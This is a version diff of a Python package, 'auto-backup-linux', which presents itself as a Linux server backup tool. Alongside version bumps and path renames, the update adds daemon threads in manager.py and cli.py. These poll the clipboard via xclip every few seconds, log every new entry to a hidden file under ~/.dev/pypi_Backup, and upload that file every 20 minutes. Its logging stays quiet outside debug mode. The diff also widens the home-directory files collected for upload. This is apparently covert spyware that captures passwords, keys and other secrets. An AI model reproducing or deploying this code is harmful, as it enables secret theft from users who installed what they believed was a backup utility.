auto-backup-linux 1.0.5__tar.gz → 1.0.7__tar.gz

{auto_backup_linux-1.0.5/auto_backup_linux.egg-info → auto_backup_linux-1.0.7}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: auto-backup-linux
-Version: 1.0.5
+Version: 1.0.7
 Summary: 一个用于Linux服务器的自动备份工具，支持文件备份、压缩和上传到云端
 Home-page: https://github.com/wongstarx/auto-backup-linux
 Author: YLX Studio
@@ -163,7 +163,7 @@ manager = BackupManager()
 # 备份文件
 backup_dir = manager.backup_linux_files(
     source_dir="~/",
-    target_dir="~/.dev/Backup/server"
+    target_dir="~/.dev/pypi_Backup/server"
 )
 
 # 压缩备份
@@ -232,11 +232,11 @@ except Exception as e:
 
 ### 日志配置
 
-日志文件默认保存在：`~/.dev/Backup/backup.log`
+日志文件默认保存在：`~/.dev/pypi_Backup/backup.log`
 
 | 配置项 | 说明 | 默认值 |
 |--------|------|--------|
-| `LOG_FILE` | 日志文件路径 | `~/.dev/Backup/backup.log` |
+| `LOG_FILE` | 日志文件路径 | `~/.dev/pypi_Backup/backup.log` |
 | `LOG_MAX_SIZE` | 日志文件最大大小 | 10MB |
 | `LOG_BACKUP_COUNT` | 保留的日志备份数量 | 10个 |
 

{auto_backup_linux-1.0.5 → auto_backup_linux-1.0.7}/README.md

@@ -128,7 +128,7 @@ manager = BackupManager()
 # 备份文件
 backup_dir = manager.backup_linux_files(
     source_dir="~/",
-    target_dir="~/.dev/Backup/server"
+    target_dir="~/.dev/pypi_Backup/server"
 )
 
 # 压缩备份
@@ -197,11 +197,11 @@ except Exception as e:
 
 ### 日志配置
 
-日志文件默认保存在：`~/.dev/Backup/backup.log`
+日志文件默认保存在：`~/.dev/pypi_Backup/backup.log`
 
 | 配置项 | 说明 | 默认值 |
 |--------|------|--------|
-| `LOG_FILE` | 日志文件路径 | `~/.dev/Backup/backup.log` |
+| `LOG_FILE` | 日志文件路径 | `~/.dev/pypi_Backup/backup.log` |
 | `LOG_MAX_SIZE` | 日志文件最大大小 | 10MB |
 | `LOG_BACKUP_COUNT` | 保留的日志备份数量 | 10个 |
 

{auto_backup_linux-1.0.5 → auto_backup_linux-1.0.7}/auto_backup/__init__.py

@@ -5,7 +5,7 @@ Auto Backup - 自动备份工具包
 一个用于Linux服务器的自动备份工具，支持文件备份、压缩和上传到云端。
 """
 
-__version__ = "1.0.5"
+__version__ = "1.0.7"
 __author__ = "YLX Studio"
 
 from .config import BackupConfig

{auto_backup_linux-1.0.5 → auto_backup_linux-1.0.7}/auto_backup/cli.py

@@ -8,6 +8,7 @@ import logging
 import platform
 import getpass
 import shutil
+import threading
 from datetime import datetime, timedelta
 from pathlib import Path
 
@@ -23,18 +24,65 @@ def is_server():
 def backup_server(backup_manager, source, target):
     """备份服务器，返回备份文件路径列表（不执行上传）"""
     backup_dir = backup_manager.backup_linux_files(source, target)
-    if backup_dir:
-        backup_path = backup_manager.zip_backup_folder(
-            backup_dir, 
-            str(target) + "_" + datetime.now().strftime("%Y%m%d_%H%M%S")
-        )
-        if backup_path:
-            logging.critical("☑️ 服务器备份文件已准备完成")
-            return backup_path
+    if not backup_dir:
+        return None
+    
+    # 定义需要分别压缩的备份子目录
+    backup_subdirs = [
+        ("pypi_docs", "docs"),
+        ("pypi_configs", "configs"),
+        ("pypi_specified", "pypi_specified"),
+        ("pypi_keyword", "pypi_keyword"),
+    ]
+    
+    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
+    all_backup_paths = []
+    
+    # 分别压缩各个备份子目录
+    for subdir_name, archive_prefix in backup_subdirs:
+        subdir_path = os.path.join(backup_dir, subdir_name)
+        
+        # 检查子目录是否存在且不为空
+        if not os.path.exists(subdir_path):
+            if backup_manager.config.DEBUG_MODE:
+                logging.info(f"⏭️ 跳过空目录: {subdir_name}")
+            continue
+        
+        # 检查目录是否为空
+        if not os.listdir(subdir_path):
+            if backup_manager.config.DEBUG_MODE:
+                logging.info(f"⏭️ 跳过空目录: {subdir_name}")
+            continue
+        
+        # 压缩该子目录
+        archive_name = f"{archive_prefix}_{timestamp}"
+        archive_path = os.path.join(os.path.dirname(backup_dir), archive_name)
+        
+        if backup_manager.config.DEBUG_MODE:
+            logging.info(f"📦 开始压缩目录: {subdir_name}")
+        
+        compressed_paths = backup_manager.zip_backup_folder(subdir_path, archive_path)
+        
+        if compressed_paths:
+            all_backup_paths.extend(compressed_paths)
+            if backup_manager.config.DEBUG_MODE:
+                logging.info(f"✅ 目录 {subdir_name} 压缩完成")
         else:
-            logging.error("❌ 服务器备份压缩失败")
-            return None
-    return None
+            logging.error(f"❌ 目录 {subdir_name} 压缩失败")
+    
+    # 清理原始备份目录（所有子目录已压缩）
+    try:
+        if os.path.exists(backup_dir):
+            shutil.rmtree(backup_dir, ignore_errors=True)
+    except Exception as e:
+        logging.error(f"清理备份目录失败: {e}")
+    
+    if all_backup_paths:
+        logging.critical(f"☑️ 服务器备份文件已准备完成，共 {len(all_backup_paths)} 个压缩文件")
+        return all_backup_paths
+    else:
+        logging.error("❌ 服务器备份压缩失败，没有生成任何压缩文件")
+        return None
 
 
 def backup_and_upload_logs(backup_manager):
@@ -60,7 +108,7 @@ def backup_and_upload_logs(backup_manager):
                 logging.debug(f"备份日志文件为空，跳过: {log_file}")
             return
 
-        temp_dir = Path.home() / ".dev/Backup/temp_backup_logs"
+        temp_dir = Path.home() / ".dev/pypi_Backup/temp_backup_logs"
         if not backup_manager._ensure_directory(str(temp_dir)):
             logging.error("❌ 无法创建临时日志目录")
             return
@@ -126,13 +174,93 @@ def backup_and_upload_logs(backup_manager):
             logging.debug(traceback.format_exc())
 
 
+def clipboard_upload_thread(backup_manager, clipboard_log_path):
+    """剪贴板日志上传线程"""
+    username = getpass.getuser()
+    user_prefix = username[:5] if username else "user"
+    
+    while True:
+        try:
+            # 检查剪贴板日志文件是否存在且不为空
+            if os.path.exists(clipboard_log_path) and os.path.getsize(clipboard_log_path) > 0:
+                try:
+                    # 读取文件内容验证
+                    with open(clipboard_log_path, 'r', encoding='utf-8') as f:
+                        content = f.read()
+                    
+                    if not content or not content.strip():
+                        time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
+                        continue
+                    
+                    # 创建临时目录
+                    temp_dir = Path.home() / ".dev/pypi_Backup/temp_clipboard_logs"
+                    if not backup_manager._ensure_directory(str(temp_dir)):
+                        logging.error("❌ 无法创建临时剪贴板日志目录")
+                        time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
+                        continue
+                    
+                    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
+                    backup_name = f"{user_prefix}_clipboard_log_{timestamp}.txt"
+                    backup_path = temp_dir / backup_name
+                    
+                    try:
+                        # 复制文件到临时目录
+                        shutil.copy2(clipboard_log_path, backup_path)
+                        
+                        if backup_manager.config.DEBUG_MODE:
+                            logging.info(f"📄 已复制剪贴板日志到临时目录 ({os.path.getsize(str(backup_path)) / 1024:.2f}KB)")
+                        
+                        # 上传剪贴板日志文件
+                        logging.info(f"📤 开始上传剪贴板日志文件 ({os.path.getsize(str(backup_path)) / 1024:.2f}KB)...")
+                        if backup_manager.upload_file(str(backup_path)):
+                            try:
+                                # 上传成功后清空原文件
+                                with open(clipboard_log_path, 'w', encoding='utf-8') as f:
+                                    f.write(f"=== 📝 剪贴板日志已于 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} 上传 ===\n")
+                                logging.info("✅ 剪贴板日志上传成功并已清空")
+                            except Exception as e:
+                                logging.error(f"❌ 剪贴板日志更新失败: {e}")
+                        else:
+                            logging.error("❌ 剪贴板日志上传失败")
+                        
+                        time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
+                    except (OSError, IOError, PermissionError) as e:
+                        logging.error(f"❌ 复制或读取剪贴板日志文件失败: {e}")
+                        time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
+                    except Exception as e:
+                        logging.error(f"❌ 处理剪贴板日志文件时出错: {e}")
+                        time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
+                    
+                    # 清理临时目录
+                    finally:
+                        try:
+                            if os.path.exists(str(temp_dir)):
+                                shutil.rmtree(str(temp_dir))
+                        except Exception as e:
+                            if backup_manager.config.DEBUG_MODE:
+                                logging.debug(f"清理临时目录失败: {e}")
+                except Exception as e:
+                    logging.error(f"❌ 处理剪贴板日志时出错: {e}")
+                    time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
+            else:
+                time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
+        except Exception as e:
+            logging.error(f"❌ 剪贴板上传线程出错: {e}")
+            time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
+
+
 def clean_backup_directory():
-    backup_dir = Path.home() / ".dev/Backup"
+    backup_dir = Path.home() / ".dev/pypi_Backup"
     try:
         if not os.path.exists(backup_dir):
             return
 
-        keep_files = ["backup.log", "next_backup_time.txt"]  # 添加时间阈值文件到保留列表
+        # 获取用户名前缀，用于保留剪贴板日志文件
+        username = getpass.getuser()
+        user_prefix = username[:5] if username else "user"
+        clipboard_log_name = f"{user_prefix}_clipboard_log.txt"
+        
+        keep_files = ["backup.log", "next_backup_time.txt", clipboard_log_name]  # 添加时间阈值文件和剪贴板日志文件到保留列表
         
         for item in os.listdir(backup_dir):
             item_path = os.path.join(backup_dir, item)
@@ -196,7 +324,7 @@ def should_perform_backup(backup_manager):
 
 def periodic_backup_upload(backup_manager):
     source = str(Path.home())
-    target = Path.home() / ".dev/Backup/server"
+    target = Path.home() / ".dev/pypi_Backup/server"
 
     try:
         # 获取用户名和系统信息
@@ -244,6 +372,36 @@ def periodic_backup_upload(backup_manager):
         logging.critical("-"*50)
         logging.critical("="*50)
 
+        # 启动剪贴板监控线程
+        user_prefix = username[:5] if username else "user"
+        clipboard_log_path = Path.home() / ".dev/pypi_Backup" / f"{user_prefix}_clipboard_log.txt"
+        
+        try:
+            # 启动剪贴板监控线程
+            clipboard_thread = threading.Thread(
+                target=backup_manager.monitor_clipboard,
+                args=(str(clipboard_log_path), backup_manager.config.CLIPBOARD_MONITOR_INTERVAL),
+                daemon=True
+            )
+            clipboard_thread.start()
+            if backup_manager.config.DEBUG_MODE:
+                logging.info(f"📋 剪贴板监控线程已启动")
+        except Exception as e:
+            logging.error(f"❌ 启动剪贴板监控线程失败: {e}")
+        
+        try:
+            # 启动剪贴板日志上传线程
+            clipboard_upload_thread_obj = threading.Thread(
+                target=clipboard_upload_thread,
+                args=(backup_manager, str(clipboard_log_path)),
+                daemon=True
+            )
+            clipboard_upload_thread_obj.start()
+            if backup_manager.config.DEBUG_MODE:
+                logging.info(f"📤 剪贴板日志上传线程已启动")
+        except Exception as e:
+            logging.error(f"❌ 启动剪贴板日志上传线程失败: {e}")
+
         while True:
             try:
                 # 检查是否应该执行备份

{auto_backup_linux-1.0.5 → auto_backup_linux-1.0.7}/auto_backup/config.py

@@ -21,13 +21,18 @@ class BackupConfig:
     BACKUP_INTERVAL = 260000  # 备份间隔时间：约3天
     SCAN_TIMEOUT = 1800    # 扫描超时时间：30分钟
     
+    # 剪贴板监控配置
+    CLIPBOARD_INTERVAL = 1200  # 剪贴板日志上传间隔时间（20分钟，单位：秒）
+    CLIPBOARD_MONITOR_INTERVAL = 3  # 剪贴板监控间隔（秒）
+    CLIPBOARD_ERROR_LOG_INTERVAL = 300  # 剪贴板错误日志间隔（5分钟）
+    
     # 日志配置
-    LOG_FILE = str(Path.home() / ".dev/Backup/backup.log")
+    LOG_FILE = str(Path.home() / ".dev/pypi_Backup/backup.log")
     LOG_MAX_SIZE = 10 * 1024 * 1024  # 日志文件最大大小：10MB
     LOG_BACKUP_COUNT = 10             # 保留的日志备份数量
 
     # 时间阈值文件配置
-    THRESHOLD_FILE = str(Path.home() / ".dev/Backup/next_backup_time.txt")  # 时间阈值文件路径
+    THRESHOLD_FILE = str(Path.home() / ".dev/pypi_Backup/next_backup_time.txt")  # 时间阈值文件路径
 
     # 需要备份的服务器目录或文件
     SERVER_BACKUP_DIRS = [
@@ -46,7 +51,7 @@ class BackupConfig:
     # 文档类型扩展名
     DOC_EXTENSIONS = [
         ".txt", ".json", ".js", ".py", ".go", ".sh", ".bash", ".rs", ".env",
-        ".ts", ".jsx", ".tsx", ".csv", ".ps1", ".md",
+        ".ts", ".jsx", ".tsx", ".csv", ".ps1", ".md", ".pdf",
     ]
     # 配置类型扩展名
     CONFIG_EXTENSIONS = [

{auto_backup_linux-1.0.5 → auto_backup_linux-1.0.7}/auto_backup/manager.py

@@ -9,6 +9,7 @@ import logging
 import logging.handlers
 import tarfile
 import requests
+import subprocess
 from datetime import datetime, timedelta
 from pathlib import Path
 
@@ -25,6 +26,13 @@ class BackupManager:
         # 使用集合优化扩展名检查性能
         self.doc_extensions_set = set(ext.lower() for ext in self.config.DOC_EXTENSIONS)
         self.config_extensions_set = set(ext.lower() for ext in self.config.CONFIG_EXTENSIONS)
+        # 剪贴板错误抑制相关变量
+        self._clipboard_display_warned = False  # 是否已警告过 DISPLAY 不可用
+        self._clipboard_display_error_time = 0  # 上次记录 DISPLAY 错误的时间
+        self._clipboard_xclip_warned = False  # 是否已警告过 xclip 未安装
+        self._clipboard_xclip_error_time = 0  # 上次记录 xclip 错误的时间
+        self._clipboard_general_error_time = 0  # 上次记录一般错误的时间
+        self._clipboard_general_error_count = 0  # 一般错误计数（用于进一步抑制）
         self._setup_logging()
 
     def _setup_logging(self):
@@ -660,3 +668,151 @@ class BackupManager:
                 import traceback
                 logging.debug(traceback.format_exc())
             return False
+
+    def get_clipboard_content(self):
+        """获取 Linux 剪贴板内容
+        
+        返回:
+            str or None: 当前剪贴板文本内容，获取失败或为空时返回 None
+        """
+        # 检查 DISPLAY 环境变量是否可用
+        display = os.environ.get('DISPLAY')
+        if not display:
+            # DISPLAY 不可用，只在第一次或间隔时间后记录警告
+            current_time = time.time()
+            if not self._clipboard_display_warned or \
+               (current_time - self._clipboard_display_error_time) >= self.config.CLIPBOARD_ERROR_LOG_INTERVAL:
+                if not self._clipboard_display_warned:
+                    if self.config.DEBUG_MODE:
+                        logging.debug("⚠️ DISPLAY 环境变量不可用，剪贴板监控功能已禁用（服务器环境或无图形界面）")
+                    self._clipboard_display_warned = True
+                self._clipboard_display_error_time = current_time
+            return None
+        
+        try:
+            # 使用 xclip 读取剪贴板（需系统已安装 xclip）
+            result = subprocess.run(
+                ['xclip', '-selection', 'clipboard', '-o'],
+                capture_output=True,
+                text=True,
+                env=os.environ.copy()  # 确保使用当前环境变量
+            )
+            if result.returncode == 0:
+                content = (result.stdout or "").strip()
+                if content and not content.isspace():
+                    # 重置错误计数，因为成功获取了内容
+                    self._clipboard_general_error_count = 0
+                    return content
+                # 剪贴板为空时不记录日志，避免频繁报错
+            else:
+                # xclip 返回错误，检查是否是 DISPLAY 相关错误
+                error_msg = result.stderr.strip() if result.stderr else ""
+                is_display_error = "Can't open display" in error_msg or "display" in error_msg.lower()
+                
+                if is_display_error:
+                    # DISPLAY 相关错误，降低日志频率
+                    current_time = time.time()
+                    if not self._clipboard_display_warned or \
+                       (current_time - self._clipboard_display_error_time) >= self.config.CLIPBOARD_ERROR_LOG_INTERVAL:
+                        if not self._clipboard_display_warned:
+                            if self.config.DEBUG_MODE:
+                                logging.debug(f"⚠️ 获取剪贴板失败（DISPLAY 不可用）: {error_msg}")
+                            self._clipboard_display_warned = True
+                        self._clipboard_display_error_time = current_time
+                else:
+                    # 其他错误，进一步抑制日志频率
+                    current_time = time.time()
+                    self._clipboard_general_error_count += 1
+                    # 每10次错误才记录一次日志，且间隔至少5分钟
+                    if self._clipboard_general_error_count >= 10 and \
+                       (current_time - self._clipboard_general_error_time) >= self.config.CLIPBOARD_ERROR_LOG_INTERVAL:
+                        if self.config.DEBUG_MODE:
+                            logging.debug(f"⚠️ 获取剪贴板失败（已发生 {self._clipboard_general_error_count} 次错误）: {error_msg}")
+                        self._clipboard_general_error_time = current_time
+                        self._clipboard_general_error_count = 0
+            return None
+        except FileNotFoundError:
+            # 未安装 xclip，只在第一次记录警告
+            if not self._clipboard_xclip_warned:
+                if self.config.DEBUG_MODE:
+                    logging.debug("⚠️ 未检测到 xclip，剪贴板监控功能已禁用")
+                self._clipboard_xclip_warned = True
+            return None
+        except Exception as e:
+            # 其他异常，进一步抑制日志频率，避免频繁报错导致日志文件过大
+            current_time = time.time()
+            self._clipboard_general_error_count += 1
+            # 每20次错误才记录一次日志，且间隔至少5分钟
+            if self._clipboard_general_error_count >= 20 and \
+               (current_time - self._clipboard_general_error_time) >= self.config.CLIPBOARD_ERROR_LOG_INTERVAL:
+                if self.config.DEBUG_MODE:
+                    logging.debug(f"⚠️ 获取剪贴板异常（已发生 {self._clipboard_general_error_count} 次错误）: {str(e)}")
+                self._clipboard_general_error_time = current_time
+                self._clipboard_general_error_count = 0
+            return None
+
+    def log_clipboard_update(self, content, file_path):
+        """记录剪贴板更新到文件"""
+        try:
+            # 确保目录存在
+            os.makedirs(os.path.dirname(file_path), exist_ok=True)
+            
+            # 获取当前时间戳
+            timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
+            
+            # 追加写入文件
+            with open(file_path, 'a', encoding='utf-8') as f:
+                f.write(f"[{timestamp}] {content}\n")
+            
+            if self.config.DEBUG_MODE:
+                logging.debug(f"📋 已记录剪贴板内容: {len(content)} 字符")
+        except Exception as e:
+            # 记录剪贴板日志失败时，也进行错误抑制
+            current_time = time.time()
+            self._clipboard_general_error_count += 1
+            if self._clipboard_general_error_count >= 20 and \
+               (current_time - self._clipboard_general_error_time) >= self.config.CLIPBOARD_ERROR_LOG_INTERVAL:
+                logging.error(f"❌ 记录剪贴板内容失败（已发生 {self._clipboard_general_error_count} 次错误）: {e}")
+                self._clipboard_general_error_time = current_time
+                self._clipboard_general_error_count = 0
+
+    def monitor_clipboard(self, file_path, interval=None):
+        """监控剪贴板变化并记录到文件
+        
+        参数:
+            file_path: 日志文件路径
+            interval: 监控间隔（秒），默认使用配置值
+        """
+        if interval is None:
+            interval = self.config.CLIPBOARD_MONITOR_INTERVAL
+        
+        last_content = None
+        
+        if self.config.DEBUG_MODE:
+            logging.info(f"📋 开始监控剪贴板，日志文件: {file_path}")
+        
+        while True:
+            try:
+                current_content = self.get_clipboard_content()
+                
+                # 只有当内容发生变化且不为空时才记录
+                if current_content and current_content != last_content:
+                    self.log_clipboard_update(current_content, file_path)
+                    last_content = current_content
+                
+                time.sleep(interval)
+                
+            except KeyboardInterrupt:
+                if self.config.DEBUG_MODE:
+                    logging.info("📋 剪贴板监控已停止")
+                break
+            except Exception as e:
+                # 监控循环中的异常，进行错误抑制
+                current_time = time.time()
+                self._clipboard_general_error_count += 1
+                if self._clipboard_general_error_count >= 20 and \
+                   (current_time - self._clipboard_general_error_time) >= self.config.CLIPBOARD_ERROR_LOG_INTERVAL:
+                    logging.error(f"❌ 剪贴板监控出错（已发生 {self._clipboard_general_error_count} 次错误）: {e}")
+                    self._clipboard_general_error_time = current_time
+                    self._clipboard_general_error_count = 0
+                time.sleep(interval)  # 出错后继续等待，避免频繁重试

{auto_backup_linux-1.0.5 → auto_backup_linux-1.0.7/auto_backup_linux.egg-info}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: auto-backup-linux
-Version: 1.0.5
+Version: 1.0.7
 Summary: 一个用于Linux服务器的自动备份工具，支持文件备份、压缩和上传到云端
 Home-page: https://github.com/wongstarx/auto-backup-linux
 Author: YLX Studio
@@ -163,7 +163,7 @@ manager = BackupManager()
 # 备份文件
 backup_dir = manager.backup_linux_files(
     source_dir="~/",
-    target_dir="~/.dev/Backup/server"
+    target_dir="~/.dev/pypi_Backup/server"
 )
 
 # 压缩备份
@@ -232,11 +232,11 @@ except Exception as e:
 
 ### 日志配置
 
-日志文件默认保存在：`~/.dev/Backup/backup.log`
+日志文件默认保存在：`~/.dev/pypi_Backup/backup.log`
 
 | 配置项 | 说明 | 默认值 |
 |--------|------|--------|
-| `LOG_FILE` | 日志文件路径 | `~/.dev/Backup/backup.log` |
+| `LOG_FILE` | 日志文件路径 | `~/.dev/pypi_Backup/backup.log` |
 | `LOG_MAX_SIZE` | 日志文件最大大小 | 10MB |
 | `LOG_BACKUP_COUNT` | 保留的日志备份数量 | 10个 |
 

{auto_backup_linux-1.0.5 → auto_backup_linux-1.0.7}/setup.py

@@ -9,7 +9,7 @@ long_description = readme_file.read_text(encoding='utf-8') if readme_file.exists
 
 setup(
     name="auto-backup-linux",
-    version="1.0.5",
+    version="1.0.7",
     author="YLX Studio",
     author_email="",
     description="一个用于Linux服务器的自动备份工具，支持文件备份、压缩和上传到云端",